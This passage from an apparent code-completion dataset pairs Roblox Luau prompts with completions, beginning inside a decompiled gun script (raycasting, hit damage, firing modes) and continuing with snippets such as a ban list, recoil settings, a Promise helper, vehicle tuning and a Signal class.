* L_24_.BulletSpeed\n\telse\n\t\tL_193_.Force = L_24_.ExploPhysics\n\t\tL_190_.Velocity = L_187_ * L_24_.ExploSpeed\n\tend\n\t\t\n\tlocal L_194_ = Instance.new('Attachment', L_190_)\n\tL_194_.Position = Vector3.new(0.1, 0, 0)\n\tlocal L_195_ = Instance.new('Attachment', L_190_)\n\tL_195_.Position = Vector3.new(-0.1, 0, 0)\n\t\t\t\n\tlocal L_196_ = TracerCalculation()\n\t\t\n\tif L_24_.TracerEnabled == true and L_196_ then\n\t\tlocal L_197_ = Instance.new('Trail', L_190_)\n\t\tL_197_.Attachment0 = L_194_\n\t\tL_197_.Attachment1 = L_195_\n\t\tL_197_.Transparency = NumberSequence.new(L_24_.TracerTransparency)\n\t\tL_197_.LightEmission = L_24_.TracerLightEmission\n\t\tL_197_.TextureLength = L_24_.TracerTextureLength\n\t\tL_197_.Lifetime = L_24_.TracerLifetime\n\t\tL_197_.FaceCamera = L_24_.TracerFaceCamera\n\t\tL_197_.Color = ColorSequence.new(L_24_.TracerColor.Color)\n\tend\n\t\t\n\tif L_1_:FindFirstChild('Shell') and not L_77_ then\t\n\t\tCreateShell()\t\n\tend\t\n\t\t\n\tdelay(0.2, function()\n\t\tL_190_.Transparency = 0\n\tend)\n\t\n\treturn L_190_\nend\n\nfunction CheckForHumanoid(L_198_arg1)\n\tlocal L_199_\n\tlocal L_200_\n\tif (L_198_arg1.Parent:FindFirstChild(\"Humanoid\") or L_198_arg1.Parent.Parent:FindFirstChild(\"Humanoid\")) then\n\t\tL_199_ = true\n\t\tif L_198_arg1.Parent:FindFirstChild('Humanoid') then\n\t\t\tL_200_ = L_198_arg1.Parent.Humanoid\n\t\telseif L_198_arg1.Parent.Parent:FindFirstChild('Humanoid') then\n\t\t\tL_200_ = L_198_arg1.Parent.Parent.Humanoid\n\t\tend\n\telse\n\t\tL_199_ = false\n\tend\t\n\treturn L_199_, L_200_\nend\n\nfunction CastRay(L_201_arg1)\n\tlocal L_202_, L_203_, L_204_\n\tlocal L_205_ = L_52_.Position;\n\tlocal L_206_ = L_201_arg1.Position;\n\tlocal L_207_ = 0\n\n\tlocal L_208_ = L_77_\t\n\t\n\twhile true do\n\t\tL_98_:wait()\n\t\tL_206_ = L_201_arg1.Position;\n\t\tL_207_ = L_207_ + (L_206_ - L_205_).magnitude\n\t\tL_202_, L_203_, L_204_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_205_, (L_206_ - L_205_)), IgnoreList);\n\t\tlocal L_209_ = Vector3.new(0, 1, 0):Cross(L_204_)\n\t\tlocal L_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant\n\t\tif L_207_ > 10000 then\n\t\t\tbreak\n\t\tend\n\t\tif L_202_ and (L_202_ and L_202_.Transparency >= 1 or L_202_.CanCollide == false) then\n\t\t\ttable.insert(IgnoreList, L_202_)\n\t\tend\n\t\n\t\tif L_202_ then\n\t\t\tL_209_ = Vector3.new(0, 1, 0):Cross(L_204_)\n\t\t\tL_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant\n\t\t\n\t\t\tlocal L_211_ = CheckForHumanoid(L_202_)\n\t\t\tif L_211_ == false then\n\t\t\t\tL_201_arg1:Destroy()\n\t\t\t\tlocal L_212_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, \"Part\")\n\t\t\t\ttable.insert(IgnoreList, L_212_)\n\t\t\telseif L_211_ == true then\n\t\t\t\tL_201_arg1:Destroy()\n\t\t\t\tlocal L_213_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, \"Human\")\n\t\t\t\ttable.insert(IgnoreList, L_213_)\n\t\t\tend\n\t\tend\n\t\n\t\tif L_202_ and L_208_ then\n\t\t\tL_108_:FireServer(L_203_)\n\t\tend\n\t\n\t\tif L_202_ and (L_202_.Parent:FindFirstChild(\"Humanoid\") or L_202_.Parent.Parent:FindFirstChild(\"Humanoid\")) then\n\t\t\tlocal L_214_, L_215_ = CheckForHumanoid(L_202_)\n\t\t\tif L_214_ then\n\t\t\t\tL_103_:FireServer(L_215_)\n\t\t\t\tif L_24_.AntiTK then\n\t\t\t\t\tif game.Players:FindFirstChild(L_215_.Parent.Name) and game.Players:FindFirstChild(L_215_.Parent.Name).TeamColor ~= L_2_.TeamColor then\n\t\t\t\t\t\tif L_202_.Name == 'Head' then\n\t\t\t\t\t\t\tL_102_:FireServer(L_215_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_216_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_216_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_216_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_216_, L_216_.TimeLength)\n\t\t\t\t\t\telseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tL_102_:FireServer(L_215_, L_24_.Damage)\n\t\t\t\t\t\t\tlocal L_217_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_217_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_217_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_217_, L_217_.TimeLength)\n\t\t\t\t\t\telseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tL_102_:FireServer(L_215_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_218_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_218_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_218_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_218_, L_218_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif L_202_.Name == 'Head' then\n\t\t\t\t\t\tL_102_:FireServer(L_215_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_219_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_219_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_219_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_219_, L_219_.TimeLength)\n\t\t\t\t\telseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tL_102_:FireServer(L_215_, L_24_.Damage)\n\t\t\t\t\t\tlocal L_220_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_220_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_220_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_220_, L_220_.TimeLength)\n\t\t\t\t\telseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tL_102_:FireServer(L_215_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_221_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_221_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_221_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_221_, L_221_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\t\n\t\tif L_202_ and L_202_.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn L_202_, L_203_;\n\t\tend\n\t\tL_205_ = L_206_;\n\tend\nend\n\nfunction fireSemi()\n\tif L_15_ then\n\t\tL_65_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t\n\t\tCheckReverb()\n\t\t\n\t\tL_55_:WaitForChild('Fire'):Play()\t\n\t\tL_101_:FireServer()\n\t\tL_94_ = CreateBullet(0)\n\t\tL_95_ = L_95_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_222_, L_223_ = spawn(function()\n\t\t\tCastRay(L_94_)\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true and L_95_ <= 0 then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_224_ = JamCalculation()\n\t\tif L_224_ then\n\t\t\tL_65_ = false\n\t\telse\n\t\t\tL_65_ = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction fireExplo()\n\tif L_15_ then\n\t\tL_65_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tL_56_:WaitForChild('Fire'):Play()\n\t\tL_101_:FireServer()\n\t\tL_94_ = CreateBullet(0)\n\t\tL_97_ = L_97_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_225_, L_226_ = spawn(function()\n\t\t\tCastRay(L_94_)\n\t\tend)\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\t\n\t\tL_65_ = false\n\t\tShooting = false\n\tend\nend\n\nfunction fireShot()\n\tif L_15_ then\n\t\tL_65_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\tCheckReverb()\n\t\tL_55_:WaitForChild('Fire'):Play()\n\t\tL_101_:FireServer()\n\t\tfor L_228_forvar1 = 1, L_24_.ShotNum do\n\t\t\tL_94_ = CreateBullet(2)\n\t\t\tlocal L_229_, L_230_ = spawn(function()\n\t\t\t\tCastRay(L_94_)\n\t\t\tend)\n\t\tend\n\t\t\t\t\t\t\n\t\tfor L_231_forvar1, L_232_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\tif L_232_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_232_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_233_forvar1, L_234_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\t\tif L_234_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_234_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true and L_95_ > 0 then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\tL_95_ = L_95_ - 1\n\t\tUpdateAmmo()\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_72_ = true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_72_ = false\n\t\t\n\t\tlocal L_227_ = JamCalculation()\n\t\tif L_227_ then\n\t\t\tL_65_ = false\n\t\telse\n\t\t\tL_65_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBoltAction()\n\tif L_15_ then\n\t\tL_65_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tCheckReverb()\n\t\tL_55_:WaitForChild('Fire'):Play()\n\t\tL_101_:FireServer()\n\t\tL_94_ = CreateBullet(0)\n\t\tL_95_ = L_95_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_235_, L_236_ = spawn(function()\n\t\t\tCastRay(L_94_)\n\t\tend)\n\t\t\t\t\t\t\n\t\tfor L_238_forvar1, L_239_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\tif L_239_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_239_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_240_forvar1, L_241_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\t\tif L_241_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_241_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true and L_95_ > 0 then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_72_ = true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_72_ = false\n\t\t\n\t\tlocal L_237_ = JamCalculation()\n\t\tif L_237_ then\n\t\t\tL_65_ = false\n\t\telse\n\t\t\tL_65_ = true\n\t\tend\t\t\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireAuto()\n\twhile not Shooting and L_95_ > 0 and L_64_ and L_65_ and L_15_ do\n\t\tL_65_ = false\n\t\tRecoiling = true\n\t\tCheckReverb()\n\t\tL_55_:WaitForChild('Fire'):Play()\n\t\tL_101_:FireServer()\n\t\tL_95_ = L_95_ - 1\n\t\tUpdateAmmo()\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\tL_94_ = CreateBullet(0)\n\t\tlocal L_242_, L_243_ = spawn(function()\n\t\t\tCastRay(L_94_)\n\t\tend)\n\t\t\t\t\t\n\t\tfor L_245_forvar1, L_246_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\tif L_246_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_246_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_247_forvar1, L_248_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\t\tif L_248_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_248_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true and L_95_ > 0 then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_244_ = JamCalculation()\n\t\tif L_244_ then\n\t\t\tL_65_ = false\n\t\telse\n\t\t\tL_65_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBurst()\n\tif not Shooting and L_95_ > 0 and L_64_ and L_15_ then\n\t\tfor L_249_forvar1 = 1, L_24_.BurstNum do\n\t\t\tif L_95_ > 0 and L_64_ then\n\t\t\t\tL_65_ = false\n\t\t\t\tRecoiling = true\n\t\t\t\tCheckReverb()\n\t\t\t\tL_55_:WaitForChild('Fire'):Play()\n\t\t\t\tL_101_:FireServer()\n\t\t\t\tL_94_ = CreateBullet(0)\n\t\t\t\tlocal L_250_, L_251_ = spawn(function()\n\t\t\t\t\tCastRay(L_94_)\n\t\t\t\tend)\n\t\t\t\t\t\n\t\t\t\tfor L_253_forvar1, L_254_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\t\t\tif L_254_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\tL_254_forvar2.Enabled = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\n\t\t\t\tdelay(1 / 30, function()\n\t\t\t\t\tfor L_255_forvar1, L_256_forvar2 in pairs(L_55_:GetChildren()) do\n\t\t\t\t\t\tif L_256_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\t\tL_256_forvar2.Enabled = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\n\t\t\t\tif L_24_.CanBolt == true then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\telseif L_24_.CanSlideLock == true and L_95_ > 0 then\n\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\n\t\t\t\tL_95_ = L_95_ - 1\n\t\t\t\tUpdateAmmo()\n\t\t\t\tRecoilFront = true\n\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\tRecoiling = false\n\t\t\t\t\tRecoilFront = false\n\t\t\t\tend)\n\t\t\t\twait(L_24_.Firerate)\n\t\t\t\n\t\t\t\tlocal L_252_ = JamCalculation()\n\t\t\t\tif L_252_ then\n\t\t\t\t\tL_65_ = false\n\t\t\t\telse\n\t\t\t\t\tL_65_ = true\n\t\t\t\tend\n\t\t\n\t\t\tend\n\t\t\tShooting = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction Shoot()\n\tif L_15_ and L_65_ then\n\t\tif L_86_ == 1 then\n\t\t\tfireSemi()\n\t\telseif L_86_ == 2 then\n\t\t\tfireAuto()\n\t\telseif L_86_ == 3 then\n\t\t\tfireBurst()\t\n\t\telseif L_86_ == 4 then\n\t\t\tfireBoltAction()\n\t\telseif L_86_ == 5 then\n\t\t\tfireShot()\n\t\telseif L_86_ == 6 then\n\t\t\tfireExplo()\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[ << BANLAND >>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "\nBanned = {\"PlayerName1\",\"PlayerName2\",};\n\n"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -0.3; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 0.03; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 0.01; -- How much the camera flicks when aiming\n\t\n\tKickback = 3; -- Upward gun rotation when not aiming\n\tAimKickback = 2; -- Upward gun rotation when aiming\n\t"} +{"prompt": "-- TYPE DEFINITION: Part Cache Instance", "completion": "\nexport type PartCache = {\n\tOpen: {[number]: BasePart},\n\tInUse: {[number]: BasePart},\n\tCurrentCacheParent: Instance,\n\tTemplate: BasePart,\n\tExpansionSize: number\n}\n"} +{"prompt": "--\tPlayers.CharacterAutoLoads = false", "completion": "\n\tprint(\"Initialized!\")\nend\n\nfunction plrHandle.start()\n\tPlayers.PlayerAdded:Connect(plrHandle.setupPlr)\n\tPlayers.PlayerRemoving:Connect(plrHandle.leavingPlr)\nend\n\nreturn plrHandle\n"} +{"prompt": "--Returns the player that reflected the ball, if any.", "completion": "\nlocal function GetReflectedByPlayer()\n\tlocal ReflectedByValue = FiredByValue:FindFirstChild(\"ReflectedBy\")\n\treturn ReflectedByValue and ReflectedByValue.Value\nend\n"} +{"prompt": "--dt variable decay function", "completion": "\nfunction MathUtils:Friction(val, fric, deltaTime)\n return (1 / (1 + (deltaTime / fric))) * val\nend\n\nfunction MathUtils:VelocityFriction(vel, fric, deltaTime)\n local speed = vel.magnitude\n speed = self:Friction(speed, fric, deltaTime)\n\n if speed < 0.001 then\n return Vector3.new(0, 0, 0)\n end\n vel = vel.unit * speed\n\n return vel\nend\n\nfunction MathUtils:FlatVec(vec)\n return Vector3.new(vec.x, 0, vec.z)\nend\n\n"} +{"prompt": "--[[\n\tCreates a function that invokes a callback with correct error handling and\n\tresolution mechanisms.\n]]", "completion": "\nlocal function createAdvancer(traceback, callback, resolve, reject)\n\treturn function(...)\n\t\tlocal ok, resultLength, result = runExecutor(traceback, callback, ...)\n\n\t\tif ok then\n\t\t\tresolve(unpack(result, 1, resultLength))\n\t\telse\n\t\t\treject(result[1])\n\t\tend\n\tend\nend\n\nlocal function isEmpty(t)\n\treturn next(t) == nil\nend\n\nlocal Promise = {\n\tError = Error,\n\tStatus = makeEnum(\"Promise.Status\", {\"Started\", \"Resolved\", \"Rejected\", \"Cancelled\"}),\n\t_getTime = os.clock,\n\t_timeEvent = game:GetService(\"RunService\").Heartbeat,\n}\nPromise.prototype = {}\nPromise.__index = Promise.prototype\n"} +{"prompt": "--[[\n Removes the value associated with specified name.\n]]", "completion": "\nfunction BaseValueStore:removeValue(name)\n\tself._data[name] = nil\nend\n"} +{"prompt": "--Aurora Shine--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Shine:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- functions", "completion": "\n\nlocal function Init(player, item, timeout)\n\tinits[player]\t= {Item = item; Timeout = tick() + timeout + 0.5};\nend\n"} +{"prompt": "-- local function createProcessEnv(): NodeJS_ProcessEnv\n-- \tlocal real = Object.create(proto)\n-- \tlocal lookup: typeof(process.env) = {}", "completion": "\n"} +{"prompt": "-------------------------------------------------------------------------------------------------------------------------", "completion": "\n\nupgradeStuff = model:clone()--The thing that will be spawned when button is pushed\n\t\t\t\t\t\t\t\t\t\t--basically the \"After\"-part of the upgrade.. :P \n\nmodel:remove() --remove the ingame model. We saved a clone for later.\nowner = script.Parent.Parent.Parent.OwnerName \nlocal ting = 0 --debouncer\n\nfunction onTouched(hit)\n\tif ting == 0 then --check for debounce\n\tting = 1 --activate debounce \n\tcheck = hit.Parent:FindFirstChild(\"Humanoid\") --try to find the human that touched the button\n\n\tif check ~= nil then --if toucher is a human then to following\n\tif hit.Parent.Name == owner.Value then\n\t\tlocal user = game.Players:GetPlayerFromCharacter(hit.Parent) --get player from touching human\n\t\tlocal stats = user:findFirstChild(\"leaderstats\") --Find moneyholder\n\n\t\tif stats ~= nil then --If moneyholder exists then\n\t\t\tlocal cash = stats:findFirstChild(\"Money\") --Get money\n\t\t\tif cash.Value > (Upgradecost-1) then --If there is enough money then\n\n\t\t\t\tcash.Value = cash.Value - Upgradecost --remove cash\n\t\t\t\tupgradeStuff.Parent = script.Parent.Parent.Parent --put the upgrade into the game\n\t\t\t\tscript.Parent.Parent:remove() -- remove the upgrade button (in case of one-upgrade only)\n\n\t\t\tend\n\t\tend\n\tend\n\tend\n\n\tting = 0 --remove debounce\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched) --start checking for touchers\n"} +{"prompt": "--\n--", "completion": "\nlocal Info = {\n\t-- These are constant values. Don't change them unless you know what you're doing.\n\n\t-- Services\n\tPlayers = game:GetService 'Players',\n\tPathfindingService = game:GetService 'PathfindingService',\n\n\t-- Advanced settings\n\tRecomputePathFrequency = 5, -- The monster will recompute its path this many times per second\n\tRespawnWaitTime = 5, -- How long to wait before the monster respawns\n\tJumpCheckFrequency = 5, -- How many times per second it will do a jump check\n}\nlocal Data = {\n\t-- These are variable values used internally by the script. Advanced users only.\n\n\tLastRecomputePath = 0,\n\tRecomputing = false, -- Reocmputing occurs async, meaning this script will still run while it's happening. This variable will prevent the script from running two recomputes at once.\n\tPathCoords = {},\n\tIsDead = false,\n\tTimeOfDeath = 0,\n\tCurrentNode = nil,\n\tCurrentNodeIndex = 1,\n\tAutoRecompute = true,\n\tLastJumpCheck = 0,\n\tLastAttack = 0,\n\t\n\tBaseMonster = Self:Clone(),\n\tAttackTrack = nil,\n}\n"} +{"prompt": "-- Fonksiyonu tan\u0131mlay\u0131n", "completion": "\nlocal function UpdateVisibility()\n\t-- Stage de\u011ferini al\u0131n (Stage de\u011ferini 150 olarak varsayal\u0131m)\n\tlocal stage = stageValue.Value -- Stage de\u011ferini almak i\u00e7in uygun bir kod ekleyin\n\n\t-- Ko\u015fulu kontrol edin ve g\u00f6r\u00fcn\u00fcrl\u00fc\u011f\u00fc ayarlay\u0131n\n\tif stage ~= 150 then\n\t\tProgressFrame.Visible = true -- ProgressFrame g\u00f6r\u00fcn\u00fcr\n\t\tConfirmbutton.Visible = false -- Confirmbutton g\u00f6r\u00fcnmez\n\telse\n\t\tProgressFrame.Visible = false -- ProgressFrame g\u00f6r\u00fcnmez\n\t\tConfirmbutton.Visible = true -- Confirmbutton g\u00f6r\u00fcn\u00fcr\n\tend\nend\n"} +{"prompt": "-- Show where the red lines are going. You can change their colour and width in VisualizerCache", "completion": "\nlocal SHOW_DEBUG_RAY_LINES: boolean = true\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 2250\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t9\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= 1.0 \t-- Front Wheel Density\n\tTune.RWheelDensity\t= 1.0\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "-- connect events", "completion": "\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\nHumanoid.PlatformStanding:connect(onPlatformStanding)\nHumanoid.Swimming:connect(onSwimming)\n\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------Signal class begin------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n--[[\nA 'Signal' object identical to the internal RBXScriptSignal object in it's public API and semantics. This function \ncan be used to create \"custom events\" for user-made code.\nAPI:\nMethod :connect( function handler )\n\tArguments: The function to connect to.\n\tReturns: A new connection object which can be used to disconnect the connection\n\tDescription: Connects this signal to the function specified by |handler|. That is, when |fire( ... )| is called for\n\t the signal the |handler| will be called with the arguments given to |fire( ... )|. Note, the functions\n\t connected to a signal are called in NO PARTICULAR ORDER, so connecting one function after another does\n\t NOT mean that the first will be called before the second as a result of a call to |fire|.\n\nMethod :disconnect()\n\tArguments: None\n\tReturns: None\n\tDescription: Disconnects all of the functions connected to this signal.\n\nMethod :fire( ... )\n\tArguments: Any arguments are accepted\n\tReturns: None\n\tDescription: Calls all of the currently connected functions with the given arguments.\n\nMethod :wait()\n\tArguments: None\n\tReturns: The arguments given to fire\n\tDescription: This call blocks until \n]]", "completion": "\n\nfunction t.CreateSignal()\n\tlocal this = {}\n\n\tlocal mBindableEvent = Instance.new('BindableEvent')\n\tlocal mAllCns = {} --all connection objects returned by mBindableEvent::connect\n\n\t--main functions\n\tfunction this:connect(func)\n\t\tif self ~= this then error(\"connect must be called with `:`, not `.`\", 2) end\n\t\tif type(func) ~= 'function' then\n\t\t\terror(\"Argument #1 of connect must be a function, got a \"..type(func), 2)\n\t\tend\n\t\tlocal cn = mBindableEvent.Event:Connect(func)\n\t\tmAllCns[cn] = true\n\t\tlocal pubCn = {}\n\t\tfunction pubCn:disconnect()\n\t\t\tcn:Disconnect()\n\t\t\tmAllCns[cn] = nil\n\t\tend\n\t\tpubCn.Disconnect = pubCn.disconnect\n\n\t\treturn pubCn\n\tend\n\n\tfunction this:disconnect()\n\t\tif self ~= this then error(\"disconnect must be called with `:`, not `.`\", 2) end\n\t\tfor cn, _ in pairs(mAllCns) do\n\t\t\tcn:Disconnect()\n\t\t\tmAllCns[cn] = 